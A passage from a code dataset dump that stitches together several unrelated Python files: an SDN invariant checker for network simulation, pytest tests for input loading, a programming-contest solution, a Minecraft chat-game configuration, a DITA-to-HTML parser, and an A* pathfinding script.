time\nfrom collections import defaultdict\n\nlog = logging.getLogger(\"invariant_checker\")\n\nclass InvariantChecker(object):\n def __init__(self, snapshotService):\n self.snapshotService = snapshotService\n\n # --------------------------------------------------------------#\n # Invariant checks #\n # --------------------------------------------------------------#\n\n # All invariant check methods must return a list, which is empty\n # for no violations, and non-empty for violations\n\n # TODO(cs): when we start logging invariant exceptions rather than halting,\n # we need to make sure that the return value of these checks are\n # determinstic (viz., always sort sets, hashes)\n\n @staticmethod\n def check_noop(simulation):\n return []\n\n @staticmethod\n def all_controllers_dead(simulation):\n simulation.controller_manager.check_controller_status()\n if simulation.controller_manager.all_controllers_down():\n return simulation.controller_manager.cids\n return []\n\n @staticmethod\n def check_liveness(simulation):\n ''' Very simple: have the controllers crashed? '''\n log.debug(\"Checking controller liveness...\")\n simulation.controller_manager.check_controller_status()\n dead_controllers = simulation.controller_manager.down_controllers\n if dead_controllers:\n log.info(\"Problems found while checking controller liveness.\")\n if simulation.controller_manager.all_controllers_down():\n log.info(\"No live controllers left\")\n return simulation.controller_manager.cids\n dead_controllers = [ c.label for c in dead_controllers ]\n dead_controllers = list(set(dead_controllers))\n return dead_controllers\n\n @staticmethod\n def python_check_loops(simulation):\n import topology_loader.topology_loader as hsa_topo\n import headerspace.applications as hsa\n # Warning! depends on python Hassell -- may be really slow!\n NTF = hsa_topo.generate_NTF(simulation.topology.live_switches)\n TTF = hsa_topo.generate_TTF(simulation.topology.live_links)\n loops = hsa.detect_loop(NTF, TTF, simulation.topology.live_switches)\n violations = [ str(l) for l in loops ]\n violations = list(set(violations))\n return violations\n\n @staticmethod\n def check_loops(simulation):\n import headerspace.applications as hsa\n live_switches = simulation.topology.live_switches\n live_links = simulation.topology.live_links\n (name_tf_pairs, TTF) = InvariantChecker._get_transfer_functions(live_switches, live_links)\n loops = hsa.check_loops_hassel_c(name_tf_pairs, TTF, simulation.topology.access_links)\n violations = [ str(l) for l in loops ]\n violations = list(set(violations))\n return violations\n\n # TODO(cs): this should be stored within simulation, not as class variables.\n # For check_connectivity and python_check_connectivity: return only unconnected pairs that persist\n interface_pair_map = {} # (src_addr, dst_addr) -> timestamp\n pair_timeout = 3 # TODO(ao): arbitrary\n\n @staticmethod\n def register_interface_pair(src, dst):\n ''' Register any interface pair that has previously communicated, along with the timestamp '''\n if src is None or dst is None:\n raise RuntimeError(\"Interface to register is None!\")\n interface_pair_map = InvariantChecker.interface_pair_map\n pair_timeout = InvariantChecker.pair_timeout\n interface_pair_map[(src, dst)] = time.time()\n for pair, timestamp in interface_pair_map.items():\n if (time.time() - timestamp > pair_timeout):\n del interface_pair_map[pair]\n\n @staticmethod\n def _get_all_pairs(simulation):\n # TODO(cs): translate HSA port numbers to ofp_phy_ports in the\n # headerspace/ module instead of computing uniq_port_id here\n from config_parser.openflow_parser import get_uniq_port_id\n access_links = simulation.topology.access_links\n all_pairs = [ (get_uniq_port_id(l1.switch, l1.switch_port), get_uniq_port_id(l2.switch, l2.switch_port))\n for l1 in access_links\n for l2 in access_links if l1 != l2 ]\n all_pairs = set(all_pairs)\n return all_pairs\n\n @staticmethod\n def _get_communicated_pairs(simulation):\n ''' Return pairs that have recently communicated; also remove outdated entries '''\n from config_parser.openflow_parser import get_uniq_port_id\n interface_pair_map = InvariantChecker.interface_pair_map\n pair_timeout = InvariantChecker.pair_timeout\n communicated_pairs = set()\n for (src_addr, dst_addr), timestamp in interface_pair_map.items():\n if (time.time() - timestamp < pair_timeout):\n interface2access_links = simulation.topology.link_tracker.interface2access_link\n src_interface, dst_interface = None, None\n for interface in interface2access_links.keys():\n if interface.hw_addr == src_addr:\n src_interface = interface\n if interface.hw_addr == dst_addr:\n dst_interface = interface\n if src_interface is not None and dst_interface is not None:\n l1 = interface2access_links[src_interface]\n l2 = interface2access_links[dst_interface]\n communicated_pair = (get_uniq_port_id(l1.switch, l1.switch_port),\n get_uniq_port_id(l2.switch, l2.switch_port))\n communicated_pairs.add(communicated_pair)\n else:\n del interface_pair_map[(src_addr, dst_addr)]\n return communicated_pairs\n\n @staticmethod\n def _get_unconnected_pairs(simulation, connected_pairs):\n ''' Return pairs that are persistently unconnected after checking for everything '''\n all_pairs = InvariantChecker._get_all_pairs(simulation)\n unconnected_pairs = all_pairs - connected_pairs\n\n # Ignore partitioned pairs\n partitioned_pairs = check_partitions(simulation.topology.switches,\n simulation.topology.live_links,\n simulation.topology.access_links)\n unconnected_pairs -= partitioned_pairs\n\n # Ignore pairs that have not communicated with each other in a while\n communicated_pairs = InvariantChecker._get_communicated_pairs(simulation)\n unconnected_pairs -= (unconnected_pairs - communicated_pairs)\n\n InvariantChecker._check_connectivity_msg(unconnected_pairs)\n return unconnected_pairs\n\n @staticmethod\n def _check_connectivity_msg(unconnected_pairs):\n if len(unconnected_pairs) == 0:\n msg.success(\"Fully connected!\")\n else:\n msg.fail(\"Found %d unconnected pair%s: %s\" % (len(unconnected_pairs),\n \"\" if len(unconnected_pairs)==1 else \"s\", unconnected_pairs))\n\n @staticmethod\n def _get_connected_pairs(simulation):\n # Effectively, run compute physical omega, ignore concrete values of headers, and\n # check that all pairs can reach each other\n physical_omega = InvariantChecker.compute_physical_omega(simulation.topology.live_switches,\n simulation.topology.live_links,\n simulation.topology.access_links)\n connected_pairs = set()\n # Omegas are { original port -> [(final hs1, final port1), (final hs2, final port2)...] }\n for start_port, final_location_list in physical_omega.iteritems():\n for _, final_port in final_location_list:\n connected_pairs.add((start_port, final_port))\n return connected_pairs\n\n @staticmethod\n def _remove_partitioned_pairs(simulation, pairs):\n # Ignore partitioned pairs\n partitioned_pairs = check_partitions(simulation.topology.switches,\n simulation.topology.live_links,\n simulation.topology.access_links)\n if len(partitioned_pairs) != 0:\n log.info(\"Partitioned pairs! %s\" % str(partitioned_pairs))\n pairs -= partitioned_pairs\n return pairs\n\n @staticmethod\n def check_connectivity(simulation):\n ''' Return any pairs of hosts where there does not exist a path in the\n network between them '''\n connected_pairs = InvariantChecker._get_connected_pairs(simulation)\n all_pairs = InvariantChecker._get_all_pairs(simulation)\n remaining_pairs = all_pairs - connected_pairs\n remaining_pairs = InvariantChecker._remove_partitioned_pairs(simulation, remaining_pairs)\n return [ str(p) for p in list(remaining_pairs) ]\n\n @staticmethod\n def check_persistent_connectivity(simulation):\n ''' Return any pairs that are persistently unconnected, i.e. that have\n attempted to communicate in the past, but aren't able to send message\n between eachother'''\n connected_pairs = InvariantChecker._get_connected_pairs(simulation)\n unconnected_pairs = InvariantChecker._get_unconnected_pairs(simulation, connected_pairs)\n violations = [ str(pair) for pair in unconnected_pairs ]\n violations = list(set(violations))\n return violations\n\n @staticmethod\n def _python_get_connected_pairs(simulation):\n import topology_loader.topology_loader as hsa_topo\n import headerspace.applications as hsa\n NTF = hsa_topo.generate_NTF(simulation.topology.live_switches)\n TTF = hsa_topo.generate_TTF(simulation.topology.live_links)\n paths = hsa.find_reachability(NTF, TTF, simulation.topology.access_links)\n # Paths is: in_port -> [p_node1, p_node2]\n # Where p_node is a hash:\n # \"hdr\" -> foo\n # \"port\" -> foo\n # \"visits\" -> foo\n connected_pairs = set()\n for in_port, p_nodes in paths.iteritems():\n for p_node in p_nodes:\n connected_pairs.add((in_port, p_node[\"port\"]))\n return connected_pairs\n\n @staticmethod\n def python_check_connectivity(simulation):\n ''' Return any pairs of hosts where there does not exist a path in the\n network between them '''\n # Warning! depends on python Hassell -- may be really slow!\n connected_pairs = InvariantChecker._python_get_connected_pairs(simulation)\n all_pairs = InvariantChecker._get_all_pairs(simulation)\n remaining_pairs = all_pairs - connected_pairs\n remaining_pairs = InvariantChecker._remove_partitioned_pairs(simulation, remaining_pairs)\n return [ str(p) for p in list(remaining_pairs) ]\n\n @staticmethod\n def python_check_persistent_connectivity(simulation):\n ''' Return any pairs that are persistently unconnected, i.e. that have\n attempted to communicate in the past, but aren't able to send message\n between eachother'''\n # Warning! depends on python Hassell -- may be really slow!\n connected_pairs = InvariantChecker._python_get_connected_pairs(simulation)\n unconnected_pairs = InvariantChecker._get_unconnected_pairs(simulation, connected_pairs)\n violations = [ str(pair) for pair in unconnected_pairs ]\n violations = list(set(violations))\n return violations\n\n @staticmethod\n def python_check_blackholes(simulation):\n '''Do any switches:\n - send packets into a down link?\n - drop packets that are supposed to go out their in_port?\n\n This method double checks whether it's possible for any\n packets to fall into the blackhole in the first place.\n\n Slightly different than check_connectivity. blackholes imply no\n connectivity, but not vice versa. No connectivity could also be due to:\n - a loop\n - PacketIn-based reactive routing\n '''\n # TODO(cs): just realized -- the C-version of Hassell might be configured to\n # *stop* as soon as it gets to an edge port. At least, this is the\n # behavior of the find_reachability function in python Hassell. So we'd\n # have to do an iterative computation: all switches that are one\n # hop away, then two hops, etc. Otherwise we wouldn't find blackholes in\n # the middle of the network.\n # For now, use a python method that explicitly\n # finds blackholes rather than inferring them from check_reachability\n # Warning! depends on python Hassell -- may be really slow!\n import topology_loader.topology_loader as hsa_topo\n import headerspace.applications as hsa\n NTF = hsa_topo.generate_NTF(simulation.topology.live_switches)\n TTF = hsa_topo.generate_TTF(simulation.topology.live_links)\n blackholes = hsa.find_blackholes(NTF, TTF, simulation.topology.access_links)\n violations = [ str(b) for b in blackholes ]\n violations = list(set(violations))\n return violations\n\n @staticmethod\n def check_correspondence(simulation):\n ''' Return if there were any policy-violations '''\n log.debug(\"Snapshotting live controllers...\")\n controllers_with_violations = []\n for controller in simulation.controller_manager.live_controllers:\n controller_snapshot = controller.snapshot_service.fetchSnapshot(controller)\n log.debug(\"Computing physical omega...\")\n physical_omega = InvariantChecker.compute_physical_omega(simulation.topology.live_switches,\n simulation.topology.live_links,\n simulation.topology.access_links)\n log.debug(\"Computing controller omega...\")\n # note: using all_switches to compute the controller omega. The controller might still\n # reference switches in his omega that are currently dead, which should result in a\n # policy violation, not sts crashing\n controller_omega = InvariantChecker.compute_controller_omega(controller_snapshot,\n simulation.topology.switches,\n simulation.topology.live_links,\n simulation.topology.access_links)\n violations = InvariantChecker.infer_policy_violations(physical_omega, controller_omega)\n if violations:\n controllers_with_violations.append(controller)\n controllers_with_violations = list(set(controllers_with_violations))\n return controllers_with_violations\n\n # --------------------------------------------------------------#\n # HSA utilities #\n # --------------------------------------------------------------#\n @staticmethod\n def compute_physical_omega(live_switches, live_links, edge_links):\n import headerspace.applications as hsa\n (name_tf_pairs, TTF) = InvariantChecker._get_transfer_functions(live_switches, live_links)\n physical_omega = hsa.compute_omega(name_tf_pairs, TTF, edge_links)\n return physical_omega\n\n @staticmethod\n def compute_controller_omega(controller_snapshot, live_switches, live_links, edge_links):\n import topology_loader.topology_loader as hsa_topo\n import headerspace.applications as hsa\n name_tf_pairs = hsa_topo.tf_pairs_from_snapshot(controller_snapshot, live_switches)\n # Frenetic doesn't store any link or host information.\n # No virtualization though, so we can assume the same TTF. TODO(cs): for now...\n TTF = hsa_topo.generate_TTF(live_links)\n return hsa.compute_omega(name_tf_pairs, TTF, edge_links)\n\n @staticmethod\n def _get_transfer_functions(live_switches, live_links):\n import topology_loader.topology_loader as hsa_topo\n name_tf_pairs = hsa_topo.generate_tf_pairs(live_switches)\n TTF = hsa_topo.generate_TTF(live_links)\n return (name_tf_pairs, TTF)\n\n @staticmethod\n def infer_policy_violations(physical_omega, controller_omega):\n ''' Return if there were any missing entries '''\n log.info(\"# entries in physical omega: %d\" % len(physical_omega))\n log.info(\"# entries in controller omega: %d\" % len(controller_omega))\n\n def get_simple_dict(omega):\n # TODO(cs): ignoring original hs means that we don't account for\n # field modifications, e.g. TTL decreases\n #\n # Omegas are { original port -> [(final hs1, final port1), (final hs2, final port2)...] }\n # Want to turn them into port -> [(final hs1, final port1), (final hs2, final port2)...]\n simple_dict = collections.defaultdict(lambda: set())\n for key, tuples in omega.iteritems():\n port = key\n for tup in tuples:\n printable_tup = (str(tup[0]), tup[1])\n simple_dict[port].add(printable_tup)\n return simple_dict\n\n physical_omega = get_simple_dict(physical_omega)\n controller_omega = get_simple_dict(controller_omega)\n\n def print_missing_entries(print_string, omega1, omega2):\n any_missing_entries = False\n for origin_port, final_locations in omega1.iteritems():\n for final_location in final_locations:\n if origin_port not in omega2 or final_location not in omega2[origin_port]:\n any_missing_entries = True\n log.info(\": %s: %s\" % (print_string, str(final_location)))\n if not any_missing_entries:\n log.info(\"No %s!\" % print_string)\n return any_missing_entries\n\n # (physical - controller) = missing routing policies\n missing_routing_entries = print_missing_entries(\"final locations in physical missing from virtual\",\n physical_omega, controller_omega)\n # (controller - physical) = missing ACL policies.\n missing_acl_entries = print_missing_entries(\"final locations in virtual missing from physical\",\n controller_omega, physical_omega)\n return missing_routing_entries or missing_acl_entries\n\ndef check_partitions(switches, live_links, access_links):\n # TODO(cs): lifted directly from pox.forwarding.l2_multi. Highly\n # redundant!\n from config_parser.openflow_parser import get_uniq_port_id\n\n # Adjacency map. [sw1][sw2] -> port from sw1 to sw2\n adjacency = defaultdict(lambda:defaultdict(lambda:None))\n\n for link in live_links:\n # Make sure to disregard links that are adjacent to down switches\n # (technically those links are still `live', but it's easier to treat it\n # this way)\n if not (link.start_software_switch.failed or\n link.end_software_switch.failed):\n adjacency[link.start_software_switch][link.end_software_switch] = link\n\n # Switches we know of. [dpid] -> Switch\n switches = { sw.dpid : sw for sw in switches }\n\n # [sw1][sw2] -> (distance, intermediate)\n path_map = defaultdict(lambda:defaultdict(lambda:(None,None)))\n\n def _calc_paths ():\n \"\"\"\n Essentially Floyd-Warshall algorithm\n \"\"\"\n sws = switches.values()\n path_map.clear()\n for k in sws:\n for j,port in adjacency[k].iteritems():\n if port is None: continue\n path_map[k][j] = (1,None)\n path_map[k][k] = (0,None) # distance, intermediate\n\n \"\"\"\n for i in sws:\n for j in sws:\n a = path_map[i][j][0]\n #a = adjacency[i][j]\n if a is None: a = \"*\"\n print a,\n print\n \"\"\"\n\n for k in sws:\n for i in sws:\n for j in sws:\n if path_map[i][k][0] is not None:\n if path_map[k][j][0] is not None:\n # i -> k -> j exists\n ikj_dist = path_map[i][k][0]+path_map[k][j][0]\n if path_map[i][j][0] is None or ikj_dist < path_map[i][j][0]:\n # i -> k -> j is better than existing\n path_map[i][j] = (ikj_dist, k)\n\n \"\"\"\n print \"--------------------\"\n for i in sws:\n for j in sws:\n print path_map[i][j][0],\n print\n \"\"\"\n\n all_link_pairs = [ (l1,l2) for l1 in access_links\n for l2 in access_links if l1 != l2 ]\n\n _calc_paths()\n partioned_pairs = set()\n for link_pair in all_link_pairs:\n if path_map[link_pair[0].switch][link_pair[1].switch] == (None,None):\n id1 = get_uniq_port_id(link_pair[0].switch, link_pair[0].switch_port)\n id2 = get_uniq_port_id(link_pair[1].switch, link_pair[1].switch_port)\n partioned_pairs.add((id1,id2))\n return partioned_pairs\n\nclass ViolationTracker(object):\n '''\n Tracks all invariant violations and decides whether each one is transient or persistent\n '''\n def __init__(self, persistence_threshold=0, buffer_persistent_violations=False):\n '''\n persistence_threshold: number of logical time units a violation must persist\n beyond the initial detection round before we declare that it is a persistent\n violation. If zero, return any violation as a persistent violation.\n\n buffer_persistent_violations: if false, ViolationTracker returns as soon as a\n persistent violation is detected, even if there other related violations that\n would have become persistent if allowed a few more rounds. Setting this flag\n to true causes ViolationTracker to wait for another persistence_threshold\n before returning persistent violations\n\n violation2time: key is the violation signature (string), and value is a two-tuple\n (start_time, end_time), where start_time is the logical time at which the violation\n is first observed, and end time that at which the violation is last observed\n '''\n # TODO(cs): persistence_threshold should be specified *per invariant*. For\n # example, there are some invariants such as \"controller's should not\n # crash\" that should never be violated.\n self.persistence_threshold = persistence_threshold\n self.violation2time = {}\n self.buffer_persistent_violations = buffer_persistent_violations\n\n def track(self, violations, logical_time):\n # First, untrack violations that expire\n for v in self.violation2time.keys():\n if v not in violations:\n msg.success(\"Violation %s turns out to be transient!\" % v)\n del self.violation2time[v]\n # Now, track violations observed this round\n for v in violations:\n if v not in self.violation2time.keys():\n self.violation2time[v] = (logical_time, logical_time)\n else:\n start_time = self.violation2time[v][0]\n end_time = logical_time\n self.violation2time[v] = (start_time, end_time)\n msg.fail(\"Violation encountered again after %d steps: %s\" %\n (end_time - start_time, v))\n\n def get_age(self, violation):\n (start_time, end_time) = self.violation2time[violation]\n return end_time - start_time\n\n @property\n def violations(self):\n return self.violation2time.keys()\n\n @property\n def persistent_violations(self):\n persistent_violations = []\n # If buffer_persistent_violations, don't return persistent violations the moment they appear\n buffer_this_round = True\n for v in self.violation2time.keys():\n if self.get_age(v) >= self.persistence_threshold:\n persistent_violations.append(v)\n # TODO(cs): 2 is a magic number. Should be declared as a class variable.\n if self.get_age(v) >= 2 * self.persistence_threshold:\n buffer_this_round = False\n if self.buffer_persistent_violations and buffer_this_round:\n return []\n return persistent_violations\n\n","repo_name":"jmiserez/sts","sub_path":"sts/invariant_checker.py","file_name":"invariant_checker.py","file_ext":"py","file_size_in_byte":22885,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"42146859902","text":"import numpy as np\nimport pytest\nimport io\n\nfrom load_data import load_data\n\n\ndef test_load_data_use_case(monkeypatch):\n \"\"\"\n Test load_data via console in a use case\n :param monkeypatch: subsitute for standard input data\n \"\"\"\n monkeypatch.setattr('sys.stdin', io.StringIO('5 2\\n3 3 2\\n1 1 2\\n'))\n a, b = load_data()\n assert (a, b) == (5, [[3, 3, 2], [1, 1, 2]])\n\n\n@pytest.mark.parametrize(\"x\", ['', '5', '5 2'])\n@pytest.mark.parametrize(\"y\", ['3 3 2', '3 2', '3', ''])\n@pytest.mark.parametrize(\"z\", ['1 1 2', '1 1', '1', ''])\ndef test_load_validation_edge_case_missing_input_arg(monkeypatch, x, y, z):\n \"\"\"\n Test load_data via console in a the edge case where\n the first line input has less values than expected\n :param monkeypatch: subsitute for standard input data\n \"\"\"\n if x == '5 2' and y == '3 3 2' and z == '1 1 2':\n pass\n else:\n inp = x+\"\\n\"+y+\"\\n\"+z+\"\\n\"\n monkeypatch.setattr('sys.stdin', io.StringIO(inp))\n with pytest.raises(ValueError):\n load_data()\n\n@pytest.mark.parametrize(\"x\", [['0 2', '3 3 2', '1 1 2'],\n ['1001 2', '3 3 2', '1 1 2'],\n ['5 0', '3 3 2', '1 1 2'],\n ['5 1001', '3 3 2', '1 1 2'],\n ['5 2', '0 3 2', '1 1 2'],\n ['5 2', '1001 3 2', '1 1 2'],\n ['5 2', '3 0 2', '1 1 2'],\n ['5 2', '3 1001 2', '1 1 2'],\n ['5 2', '3 3 0', '1 1 2'],\n ['5 2', '3 3 1001', '1 1 2'],\n ['5 2', '3 3 2', '0 1 2'],\n ['5 2', '3 3 2', '1001 1 2'],\n ['5 2', '3 3 2', '1 0 2'],\n ['5 2', '3 3 2', '1 1001 2'],\n ['5 2', '3 3 2', '1 1 0'],\n ['5 2', '3 3 2', '1 1 1001']])\ndef test_load_validation_edge_case_input_beyond_limitations(monkeypatch, x):\n \"\"\"\n Test load_data via console in a the edge case where\n any of the input variables is beyond the given limits,\n i.e. M, N, X, Y, K < 0 or M, N, X, Y, K > 1000\n :param monkeypatch: subsitute for standard input data\n \"\"\"\n inp = \"\\n\".join(x)+\"\\n\"\n monkeypatch.setattr('sys.stdin', io.StringIO(inp))\n with pytest.raises(Exception):\n load_data()","repo_name":"gtsa/Maximum_Spatial_Service_Overlap---Python-AWS-","sub_path":"tests/test_load_data.py","file_name":"test_load_data.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1919386763","text":"import sys; sys.stdin = open('6855.txt', 'r')\n\ndef comb(p, s):\n global answer\n if s == K:\n length = [0xffff] * N\n check = check_index - set(choose)\n for choice in choose:\n for index in check:\n if length[index] > abs(arr[choice] - arr[index]):\n length[index] = abs(arr[choice] - arr[index])\n total = 0\n for idx in check:\n total += length[idx]\n answer = min(answer, total)\n\n for i in range(p, N):\n choose.append(i)\n comb(i + 1, s + 1)\n choose.pop()\n\nTC = int(input())\nfor tc in range(1, TC+1):\n N, K = map(int, input().split())\n arr = list(map(int, input().split()))\n if N > K:\n answer = 0xffffff\n choose = []\n check_index = set([i for i in range(N)])\n comb(0, 0)\n else:\n answer = 0\n\n print('#{} {}'.format(tc, answer))","repo_name":"ContecPluto/algorithm","sub_path":"Personal_learning/SW_expert/D4/6855_Electricity.py","file_name":"6855_Electricity.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20486506456","text":"from time import time, sleep\nfrom copy import copy\nfrom random import seed, shuffle, randint\nfrom typing import Union\nimport os\nimport json\nimport re\nimport pytchat\n\nimport mc_api as mc\n\n# These options let you restart the script while it's running with minimal redudance\nINITIALIZE_SERVER = False\nCLEAN_TERRAIN = False\nPREPARE_GAMEMASTER = True\nPREPARE_BOARD = True\nGAME_LOOP = True\n\nGAMEMASTER = \"PortalHub\"\nGAMEMASTER_YAW = -180\nGAMEMASTER_PITCH = 40\nGAMEMASTER_HEIGHT = 200\n\nBOARD_DISTANCE_SHIFT = 5\nBOARD_DEPTH_SHIFT = 8\nBOARD_SIZE = 13\nBOARD_TEXTURE = mc.Block(\"smooth_quartz\")\n\nROUND_TIME_SEC = 30\n\nTASK_TEXT_DISTANCE_SHIFT = BOARD_DISTANCE_SHIFT + BOARD_SIZE + 50\nTASK_TEXT_DEPTH_SHIFT = BOARD_DEPTH_SHIFT + 12\nTASK_OVER_WAIT_TIME_SEC = 3\n\nTASK_GOAL_PALETTE = [\"polished_blackstone\"]\nTASK_SUCCESS_TEXT = \"GG\"\nTASK_SUCCESS_PALETTE = [\"purpur\"]\nTASK_FAILED_TEXT = \"Better luck next time!\"\nTASK_FAILED_PALETTE = [\"oak\"]\n\nENTITY_MASTER_FILTER = [\n \"area_effect_cloud\",\n \"ender_dragon\",\n \"experience_orb\",\n \"eye_of_ender\",\n \"falling_block\",\n \"firework_rocket\",\n \"item\",\n \"item_frame\",\n \"leash_knot\",\n \"llama_spit\",\n \"command_block_minecart\",\n \"painting\",\n \"ender_pearl\",\n \"experience_bottle\",\n \"wither\",\n \"player\",\n \"fishing_bobber\",\n \"vex\",\n \"giant\",\n \"tnt\",\n \"ghast\",\n \"shulker\",\n]\n\nENTITY_ACTION_FILTER = [\n \"zoglin\",\n \"hoglin\",\n \"creeper\",\n \"tnt_minecart\",\n \"end_crystal\",\n \"dragon_fireball\",\n \"fireball\",\n]\n\nBLOCK_MASTER_FILTER = [\"tnt\"]\n\nCHAT_ID = \"ZJTpX6oFyH8\"\n\n\ndef get_value_list(value: str) -> list:\n \"\"\"\n This function doesn't need to ever be called, it generates the\n constant declared after its scope.\n\n It stores and returns a list inside of them, and each (value below)\n can be accessed in its minecraft:namespace format as list items.\n Available values:\n - entity_type (= Entities)\n - block (= Blocks)\n - item (= Items)\n \"\"\"\n\n path = os.path.dirname(os.path.abspath(__file__))\n actual_path = f\"{path}/mc_api/setup/generated/reports/registries.json\"\n\n with open(actual_path) as f:\n dictionnary = json.load(f)\n\n value_list = []\n for key in dictionnary[f\"minecraft:{value}\"][\"entries\"].keys():\n\n if value == \"entity_type\":\n if key.replace(\"minecraft:\", \"\") in ENTITY_MASTER_FILTER:\n continue\n\n elif value == \"block\":\n if key.replace(\"minecraft:\", \"\") in BLOCK_MASTER_FILTER:\n continue\n\n value_list.append(key)\n\n return value_list\n\n\nBLOCK_LIST = get_value_list(\"block\")\nENTITY_LIST = get_value_list(\"entity_type\")\nITEM_LIST = get_value_list(\"item\")\n","repo_name":"PortalHubYT/task_game","sub_path":"env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22602508940","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom gettext import gettext as _\nfrom BeautifulSoup import BeautifulSoup\n\n\ndef parse_dita(dita_str):\n soup = BeautifulSoup(dita_str)\n\n html = open('article.html', 'r').read().decode('utf-8')\n\n html_tags = []\n\n title = soup.find('title').string.strip()\n h1_title = '

%(title)s

' % \\\n {'title': title}\n index_link = '

' + \\\n _('Return to index') + '

'\n\n html_tags.append(index_link)\n html_tags.append(h1_title)\n\n for section in soup.findAll('section'):\n for p in section.findAll('p'):\n images = p.findAll('image')\n for img in images:\n html_tags.append('' % \\\n {'src': img.get('href')})\n html_tags.append('

')\n for ph in p.findAll('ph'):\n html_tags.append(ph.string.strip())\n html_tags.append('

')\n\n html = html % {'title': title,\n 'body': '\\n'.join(html_tags)}\n return html\n\n\ndef parse_ditamap(ditamap_str):\n soup = BeautifulSoup(ditamap_str)\n html = open('article.html', 'r').read().decode('utf-8')\n\n html_tags = []\n\n title = soup.find('map').get('title')\n\n h1_title = '

%(title)s

' % \\\n {'title': title}\n html_tags.append(h1_title)\n\n html_tags.append('
  • ')\n for topic in soup.findAll('topicref'):\n dita_path = topic.get('href')\n html_tags.append('' % \\\n {'href': dita_path.replace('.dita', '.html'),\n 'name': topic.get('navtitle')})\n html_tags.append('
  • ')\n\n html = html % {'title': title,\n 'body': '\\n'.join(html_tags)}\n return html\n","repo_name":"sugarlabs/infoslicer","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"37589356984","text":"class punkt():\n def __init__(self,x,y,rx,ry,g,f):\n self.poz = [x, y]\n self.r_poz = [rx,ry]\n self.g=g\n self.f=f\n\n#sprawdza czy punkt o podanej pozycji istnieje na liście\ndef g_fun(z=[]):\n if len(z)>0:\n return z[len(z) - 1].g + 1\n else:\n return 0\n\ndef przeszukanie(o=[punkt],x=int,y=int,miejsce=[int]):\n for i in range(len(o)):\n if (o[i].poz==[x,y]):\n miejsce[0]=i\n return False\n return True\n\ndef show_route(z=[]):\n wypisanie = z[len(z) - 1]\n print(wypisanie.poz)\n while (wypisanie.poz != wypisanie.r_poz):\n pozycja = [0]\n przeszukanie(z, wypisanie.r_poz[0], wypisanie.r_poz[1], pozycja)\n wypisanie = z[pozycja[0]]\n print(wypisanie.poz)\n#otwieranie pliku i zwraca tablice dwu wymiarowo obrazujoncą mapę\ndef mapowanie(sciezka=\"\"):\n try:\n file = open(sciezka)\n mapa = (file.read().split('\\n'))\n for i in range(len(mapa)):\n mapa[i] = mapa[i].split(' ')\n for i in range(len(mapa)):\n for j in range(len(mapa[i])):\n mapa[i][j] = (int(mapa[i][j]))\n file.close()\n except Exception as e:\n print(e)\n return mapa\n# minimalna warość funkci f w tablicy pónków\ndef min_p (o=[]):\n min = 0\n for i in range(len(o)):\n if o[min].f > o[i].f:\n min = i\n # dodanie go do listy zamkniętej\n return min\n\ndef a_gwiadazda(sciezka=\"\",start=[0,0], cel=[19,19]):\n mapa=mapowanie(sciezka)\n x = len(mapa)\n y = len(mapa[0])\n if x 0:\n z.append(o.pop(min_p(o)))\n x = z[len(z) - 1].poz[0]\n y = z[len(z) - 1].poz[1]\n if (x != cel[0]) or (y != cel[1]):\n mapa[x][y] = 3\n # dodanie jego sąsiadów do listy otwartej + sprawdzenie czy nie są one już dodane\n if (y >= 0) and (x - 1 >= 0) and (y < len(mapa[0])) and (x - 1 < len(mapa)) and (mapa[x - 1][y] == 0):\n g_poz = g_fun(z)\n f_poz = g_poz + ((x - 1 - cel[0]) ** 2 + (y - cel[1]) ** 2) ** 0.5\n pozycja = [0]\n if przeszukanie(o, x - 1, y, pozycja):\n o.append(punkt(x - 1, y, x, y, g_poz, f_poz))\n #mapa[x - 1][y] = 2\n else:\n if o[pozycja[0]].f > f_poz:\n o[pozycja[0]].f = f_poz\n o[pozycja[0]].r_poz = [x, y]\n\n if (y - 1 >= 0) and (x >= 0) and (y - 1 < len(mapa[0])) and (x < len(mapa)) and (mapa[x][y - 1] == 0):\n # print(11)\n g_poz = g_fun(z)\n f_poz = g_poz + ((x - cel[0]) ** 2 + (y - 1 - cel[1]) ** 2) ** 0.5\n pozycja = [0]\n if przeszukanie(o, x, y - 1, pozycja):\n o.append(punkt(x, y - 1, x, y, g_poz, f_poz))\n # mapa[x][y - 1] = 2\n else:\n if o[pozycja[0]].f > f_poz:\n o[pozycja[0]].f = f_poz\n o[pozycja[0]].r_poz = [x, y]\n\n if (y >= 0) and (x + 1 >= 0) and (y < len(mapa[0])) and (x + 1 < len(mapa)) and (mapa[x + 1][y] == 0):\n g_poz = g_fun(z)\n f_poz = g_poz + ((x + 1 - cel[0]) ** 2 + (y - cel[1]) ** 2) ** 0.5\n pozycja = [0]\n if przeszukanie(o, x + 1, y, pozycja):\n o.append(punkt(x + 1, y, x, y, g_poz, f_poz))\n # mapa[x + 1][y] = 2\n else:\n if o[pozycja[0]].f > f_poz:\n o[pozycja[0]].f = f_poz\n o[pozycja[0]].r_poz = [x, y]\n\n if (y + 1 >= 0) and (x >= 0) and (y + 1 < len(mapa[0])) and (x < len(mapa)) and (mapa[x][y + 1] == 0):\n g_poz = g_fun(z)\n f_poz = g_poz + ((x - cel[0]) ** 2 + (y + 1 - cel[1]) ** 2) ** 0.5\n pozycja = [0]\n if przeszukanie(o, x, y + 1, pozycja):\n o.append(punkt(x, y + 1, x, y, g_poz, f_poz))\n #mapa[x][y + 1] = 2\n else:\n if o[pozycja[0]].f > f_poz:\n o[pozycja[0]].f = f_poz\n o[pozycja[0]].r_poz = [x, y]\n else:\n o = []\n if len(o) <= 0:\n break;\n return 